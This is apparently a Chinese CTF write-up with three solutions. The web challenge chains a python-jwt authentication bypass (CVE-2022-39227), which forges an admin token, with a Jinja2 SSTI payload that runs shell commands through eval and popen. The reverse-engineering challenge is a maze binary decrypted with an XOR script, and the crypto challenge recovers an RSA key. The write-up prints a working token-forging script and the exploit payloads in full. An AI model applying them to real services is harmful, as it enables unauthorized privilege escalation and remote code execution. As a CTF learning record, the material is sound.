Web
web1
查看 app.py 和 requirements.txt ,已知 python-jwt==3.3.3
关键代码审计:
users={}
users['guest'] = {
'password': 'guest',
'role': 'guest',
'name': 'guest',
'department': 'guest'
}
@app.route('/')
def index():
return 'index.html'
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
data = request.get_json()
username = data.get('username')
password = data.get('password')
if username in users and users[username]['password'] == password:
user_info = users[username].copy()
user_info['username'] = username
payload = {
'username': username,
'role': user_info['role'],
'name': user_info['name'],
'department': user_info['department']
}
token = generate_jwt(payload, jwt_key, 'PS256', timedelta(hours=2))
return jsonify({
'success': True,
'token': token,
'user': user_info
})
else:
return jsonify({
'success': False,
'message': '用户名或密码错误'
}), 401
return 'login.html'
第一步:/login
接口,users 字典里仅有一个内置用户 guest/guest
。
认证成功后用 generate_jwt(payload, jwt_key, 'PS256', timedelta(hours=2))
生成一个 JWT。
对 /login POST,内容:
{
"username": "guest",
"password": "guest"
}
拿到:
{"success":true,"token": "eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXBhcnRtZW50IjoiZ3Vlc3QiLCJleHAiOjE3NTg5NDc5OTgsImlhdCI6MTc1ODk0MDc5OCwianRpIjoiWkVXWTVnMm8yMkluVTJWMzZsVktoQSIsIm5hbWUiOiJndWVzdCIsIm5iZiI6MTc1ODk0MDc5OCwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJndWVzdCJ9.I6mDJVjIRlD37P7BPnB1OBeR0eUHEfnSVN-t-0DUSc8myVUXHqMPX3-oj8usw89xohuy_SbzeA6SxjoZrYnwCTDZobiV4-Z4WyMbXa19G6afjEpmZfzJRlpS1WtrFZ6WkLqA223k8cAVwjOGxTJ2P_C0bCq_roPOJcC-vzVpdarcHlgzkuQ45pcjUopC4_Re5oR5Q_qcQbHJGZUxA2aj3VD2l0ZN66Isci0CGc_iVs7_NEred9lB35NsFFyFPij8-8Cv2MM9tMoAQ_3XrOWmpKnMtiKOZKKpJfdgU9dxl5E4WpZqFrFJh6xiEnm9WjKdx7JuI07GYA7uR1RySmihhg", "user":user_info}
第二步,搜索 Python-JWT身份验证绕过 (CVE-2022-39227) – CSDN博客
Python_jwt 的版本是 3.3.3,搜了一下,有 CVE-2022-39227 可以利用。首先,用题目给定的 guest / guest 登录,拿到一个 token。然后用 https://blog.csdn.net/zls1793/article/details/135328558,修改 role 成为 admin,然后再加上前面认证成功后拿到的 JWT ,就可以构造一个可以绕过 json 形式的 payload ,然后就拥有了管理员权限。
run.py 脚本:
from json import *
from python_jwt import *
from jwcrypto import jwk
#jwt载荷主体
#payload = {'role': "guest"}
#256位密钥生成
#key = jwk.JWK.generate(kty='oct', size=256)
#生成jwt以HS256加密签名
jwt_json = "eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXBhcnRtZW50IjoiZ3Vlc3QiLCJleHAiOjE3NTg5NDc5OTgsImlhdCI6MTc1ODk0MDc5OCwianRpIjoiWkVXWTVnMm8yMkluVTJWMzZsVktoQSIsIm5hbWUiOiJndWVzdCIsIm5iZiI6MTc1ODk0MDc5OCwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJndWVzdCJ9.I6mDJVjIRlD37P7BPnB1OBeR0eUHEfnSVN-t-0DUSc8myVUXHqMPX3-oj8usw89xohuy_SbzeA6SxjoZrYnwCTDZobiV4-Z4WyMbXa19G6afjEpmZfzJRlpS1WtrFZ6WkLqA223k8cAVwjOGxTJ2P_C0bCq_roPOJcC-vzVpdarcHlgzkuQ45pcjUopC4_Re5oR5Q_qcQbHJGZUxA2aj3VD2l0ZN66Isci0CGc_iVs7_NEred9lB35NsFFyFPij8-8Cv2MM9tMoAQ_3XrOWmpKnMtiKOZKKpJfdgU9dxl5E4WpZqFrFJh6xiEnm9WjKdx7JuI07GYA7uR1RySmihhg"
###以下部分为payload生成###
[header, payload, signature] = jwt_json.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['role'] = "admin"
#把python数组转化为json数据,并base64加密
fake = base64url_encode(dumps(parsed_payload))
#构造一个绕过的json形式的payload,这是关键下面会分析
fake_jwt = '{" ' + header + '.' + fake + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
print(fake_jwt)
拿到
{" eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXBhcnRtZW50IjogImd1ZXN0IiwgImV4cCI6IDE3NTg5NDc5OTgsICJpYXQiOiAxNzU4OTQwNzk4LCAianRpIjogIlpFV1k1ZzJvMjJJblUyVjM2bFZLaEEiLCAibmFtZSI6ICJndWVzdCIsICJuYmYiOiAxNzU4OTQwNzk4LCAicm9sZSI6ICJhZG1pbiIsICJ1c2VybmFtZSI6ICJndWVzdCJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJkZXBhcnRtZW50IjoiZ3Vlc3QiLCJleHAiOjE3NTg5NDc5OTgsImlhdCI6MTc1ODk0MDc5OCwianRpIjoiWkVXWTVnMm8yMkluVTJWMzZsVktoQSIsIm5hbWUiOiJndWVzdCIsIm5iZiI6MTc1ODk0MDc5OCwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJndWVzdCJ9","signature":"I6mDJVjIRlD37P7BPnB1OBeR0eUHEfnSVN-t-0DUSc8myVUXHqMPX3-oj8usw89xohuy_SbzeA6SxjoZrYnwCTDZobiV4-Z4WyMbXa19G6afjEpmZfzJRlpS1WtrFZ6WkLqA223k8cAVwjOGxTJ2P_C0bCq_roPOJcC-vzVpdarcHlgzkuQ45pcjUopC4_Re5oR5Q_qcQbHJGZUxA2aj3VD2l0ZN66Isci0CGc_iVs7_NEred9lB35NsFFyFPij8-8Cv2MM9tMoAQ_3XrOWmpKnMtiKOZKKpJfdgU9dxl5E4WpZqFrFJh6xiEnm9WjKdx7JuI07GYA7uR1RySmihhg"}
接着审计代码,发现 /api/report/generate 有 SSTI 漏洞,
@app.route('/api/report/generate', methods=['POST'])
def generate_report():
try:
auth_header = request.headers.get('Authorization')
if not auth_header or not auth_header.startswith('Bearer '):
return jsonify({'error': '未提供认证token'}), 401
token = auth_header[len('Bearer '):]
try:
header, payload = verify_jwt(token, jwt_key, ['PS256'])
if payload.get('role') not in ['manager', 'admin']:
return jsonify({
'error': '权限不足,只有经理和管理员可以生成报告',
'current_role': payload.get('role', 'unknown')
}), 403
data = request.get_json()
company_id = data.get('company_id')
report_template = data.get('template', '')
custom_title = data.get('title', '企业监管报告')
# 查找企业信息
company = None
for comp in tobacco_companies:
if comp['id'] == company_id:
company = comp
break
if not company:
return jsonify({'error': '未找到指定企业'}), 404
# 获取用户信息
user_name = payload.get('name', '未知用户')
user_dept = payload.get('department', '未知部门')
if "{{" in report_template:
return jsonify({'error': 'bad template'}), 400
if report_template:
template_content = f"""
在请求头 Authorization
传入认证字段,格式为 Bearer <token>
,token 内容为获取到的上面那个绕过 Python-JWT 身份验证的 payload ,同时 POST 传入一个 company_id ,即:
{
"company_id":1,
"password":"guest"
}
有信息回显。
继续分析, report_template
由用户直接提交,但是代码做了一个 if 判断:如果 report_template 中包含 {{
就直接拒绝 400;然后把 report_template
原样拼接进大模板 template_content
,再用 Jinja2 的 render_template_string
进行渲染。
虽然 report_template 过滤了 {{
,但是 custom_title,company_id 等变量没有过滤,仍能可以 ssti,所以传入 title 为 {{ ''.__ … }}
即可
修改 run.py ,添加一行代码:
parsed_payload['name'] = "{{''.__class__.__base__.__subclasses__()}}"
跑出新的 payload ,修改 Bearer,可以拿到全部的类 class ,来进行 ssti 模板注入。
查找到 <‘class warnings.catch_warnings> 索引为 211 。再次修改 run.py 跑出可以进行 getshell 的 payload :
Bearer {" eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXBhcnRtZW50IjogImd1ZXN0IiwgImV4cCI6IDE3NTg5NDc5OTgsICJpYXQiOiAxNzU4OTQwNzk4LCAianRpIjogIlpFV1k1ZzJvMjJJblUyVjM2bFZLaEEiLCAibmFtZSI6ICJ7eycnLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzIxMV0iLCAibmJmIjogMTc1ODk0MDc5OCwgInJvbGUiOiAiYWRtaW4iLCAidXNlcm5hbWUiOiAiZ3Vlc3QifQ.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJkZXBhcnRtZW50IjoiZ3Vlc3QiLCJleHAiOjE3NTg5NDc5OTgsImlhdCI6MTc1ODk0MDc5OCwianRpIjoiWkVXWTVnMm8yMkluVTJWMzZsVktoQSIsIm5hbWUiOiJndWVzdCIsIm5iZiI6MTc1ODk0MDc5OCwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJndWVzdCJ9","signature":"I6mDJVjIRlD37P7BPnB1OBeR0eUHEfnSVN-t-0DUSc8myVUXHqMPX3-oj8usw89xohuy_SbzeA6SxjoZrYnwCTDZobiV4-Z4WyMbXa19G6afjEpmZfzJRlpS1WtrFZ6WkLqA223k8cAVwjOGxTJ2P_C0bCq_roPOJcC-vzVpdarcHlgzkuQ45pcjUopC4_Re5oR5Q_qcQbHJGZUxA2aj3VD2l0ZN66Isci0CGc_iVs7_NEred9lB35NsFFyFPij8-8Cv2MM9tMoAQ_3XrOWmpKnMtiKOZKKpJfdgU9dxl5E4WpZqFrFJh6xiEnm9WjKdx7JuI07GYA7uR1RySmihhg"}
且构造最终 POST 内容:
{
"company_id":1,
"title":"{{''.__class__.__base__.__subclasses__()[211].__init__.__globals__.__builtins__['eval']('__import__(\"os\").popen(\"cat /flag\").read()')}}",
"template":"2333"
}
拿到 flag 。
Reverse
game
把附件放入ida 分析,容易知道这是个迷宫游戏,
反汇编查看源码,知道游戏运行逻辑:
sub_171E:玩家移动、检测终点。
sub_14FA:事件格逻辑——修改一段全局密文(byte_4020)。
byte_4020:全局数据。
到达 #
-> 调用 sub_1805
__int64 __fastcall sub_171E(char n113)
{
int n13; // [rsp+18h] [rbp-8h]
int j; // [rsp+1Ch] [rbp-4h]
n13 = n13_0;
j = j_0;
switch ( n113 )// 接收 w a s d
{
case 'w':
n13 = n13_0 - 1;
break;
case 's':
n13 = n13_0 + 1;
break;
case 'a':
j = j_0 - 1;
break;
case 'd':
j = j_0 + 1;
break;
}
// 检查目标位置是否可走
if ( sub_1486(n13, j) )
{
n13_0 = n13;
j_0 = j;
sub_14FA(n13, j);// 触发该格子的事件
// 如果走到了迷宫终点‘#’,调用 sub_1805
if ( byte_4140[40 * n13_0 + j_0] == 35 )
{
sub_1805();
return 1LL;
}
}
else
{
puts(&s__0);
}
return 0LL;
}
//格子处理事件,踩到数字格对 byte_4020 做相应的加减
int __fastcall sub_14FA(int n13, int j)
{
__int64 v2; // rdx
int result; // eax
__int64 v4; // rdx
int v5; // eax
char n48; // [rsp+13h] [rbp-Dh]
int i; // [rsp+14h] [rbp-Ch]
unsigned int v8; // [rsp+18h] [rbp-8h]
int n4; // [rsp+1Ch] [rbp-4h]
v2 = 40LL * n13 + j;
result = (unsigned __int8)byte_4140[v2];
n48 = byte_4140[v2];
if ( n48 > 48 && n48 <= 52 )
{
v4 = 40LL * n13 + j;
result = s_[v4] ^ 1;
if ( s_[v4] != 1 )
{
v8 = n48 - 48;
v5 = time(0LL);
srand(v5 ^ (31 * n13 + 17 * j));
n4 = rand() % 5 + 1;
if ( n4 > 0 && n4 <= 4 )
{
printf(&format, v8);
exit(1);
}
for ( i = 0; i <= 38; ++i )
{
switch ( n48 )
{
case '1':
--byte_4020[i];
break;
case '2':
byte_4020[i] -= 2;
break;
case '3':
byte_4020[i] += 3;
break;
case '4':
byte_4020[i] += 4;
break;
}
}
s_[40 * n13 + j] = 1;
return printf(&format_, v8);
}
}
return result;
}
关键函数 sub_1805 将修改后的数据 byte_4020 与一个秘钥 byte_4060 异或然后判断 xor 的结果是不可打印的 ASCII(0x20
以下或 0x7F
以上),就输出 ‘.
‘ ,否则直接打印出字符串。
int sub_1805()
{
unsigned __int8 c; // [rsp+Bh] [rbp-5h]
int i; // [rsp+Ch] [rbp-4h]
putchar(10);
for ( i = 0; i <= 38; ++i )
{
c = byte_4020[i] ^ byte_4060[i];//xor 处理
if ( c <= 0x1Fu || c > 0x7Eu )
putchar(46);
else
putchar(c);
}
return putchar(10);
}
已知数据 byte_4020 和秘钥 byte_4060:
解密脚本:
byte_4020 = [
0x22,0xC6,0x39,0x8E,0xDC,0x0B,0x59,0x4C,0xFA,0xA3,
0x05,0x86,0xCF,0x3D,0xB7,0x1D,0x63,0xAC,0x2E,0xEF,
0x44,0x97,0x5C,0x7B,0xD2,0x08,0x89,0xB9,0x36,0xC9,0x4A,
0x13,0x9C,0xDE,0x29,0x6C,0xF7,0x53,0x82,0x00
]
byte_4060 = [
0x40,0xA6,0x5C,0xF5,0x9B,0x4B,0x38,0x36,0x9B,0xC6,
0x7D,0xEF,0xB7,0x1E,0xD9,0x11,0x14,0xC3,0x6D,0x92,
0x26,0xFF,0x3F,0x08,0xB7,0x60,0xE6,0xD8,0x5E,0x92,
0x01,0x62,0xD4,0xBD,0x60,0x11,0x81,0x32,0xFB
]
def printable(b): return 0x20 <= b <= 0x7E
for D in range(-200,201):
out = [((b + D) & 0xFF) ^ k for b,k in zip(byte_4020, byte_4060)]
if all(printable(x) for x in out):
print("D =", D, "->", ''.join(chr(x) for x in out))
flag{Defeated_b0ss_and_walked_Out_Maze}
Crypto
完全平均数
solve.py 如下
from Crypto.Util.number import bytes_to_long, long_to_bytes
from gmpy2 import mpz, iroot, powmod, invert, div
# 给定的 N, e, g, C
N = 27471366612277687007582969113484500296001065780066244888800712342807125394382681326213781865815461951298727242405665286291957769318403190235219727462190547340268057407480936794909750874545280586676586199139504945994789654115224950518297646992315179314766094156202525491469674180110591820099543752380512935927805722237181
e = 65537
g = 111684314954681193048509857146926361842347687090472066568935363273885037337811
C = 12643371534391958135236095622827564261907624974618206428861944879376238094269846145595767463703827586815298891013812360542402349502974102836324041194817837979051818191875704215738686008582339520686043633518534916826599993931844826243220488649199690449278527396151017995036899907805560418507134336681609833081538329779248
# 计算 h, u, v
h = (N - 1) // g
u = h // g
v = h % g
def Solve_c():
# 计算 C 的估计值
sqrt_N = iroot(N, 2)[0]
C = div(sqrt_N, g ** 2)
C=int(C)
a = 2
b = powmod(a, g, N)
# 在估计的范围内尝试寻找合适的 r 和 s
for i in range(2, int(C)):
print(iroot(C, 2)[0])
D = (iroot(C, 2)[0] + 1) * i
final = powmod(b, u, N)
for r in range(D):
for s in range(D):
print(r * D + s)
if powmod(b, r * D + s, N) == final:
print("r =", r, "s =", s, "i =", i)
return r * D + s
# 解密流程
c = Solve_c()
print("c:", c) # c = 51589121
A = u - c
B = v + c * g
# 计算 delta 并解出 x 和 y
delta = iroot(B ** 2 - 4 * A, 2)[0]
x = (B + delta) // 2
y = (B - delta) // 2
# 计算 a 和 b
a = x // 2
b = y // 2
# 计算 p 和 q
p = 2 * g * a + 1
q = 2 * g * b + 1
# 计算私钥 d 并解密消息
d = invert(e, (p - 1) * (q - 1))
m = powmod(C, d, N)
print("Decrypted message:", long_to_bytes(m))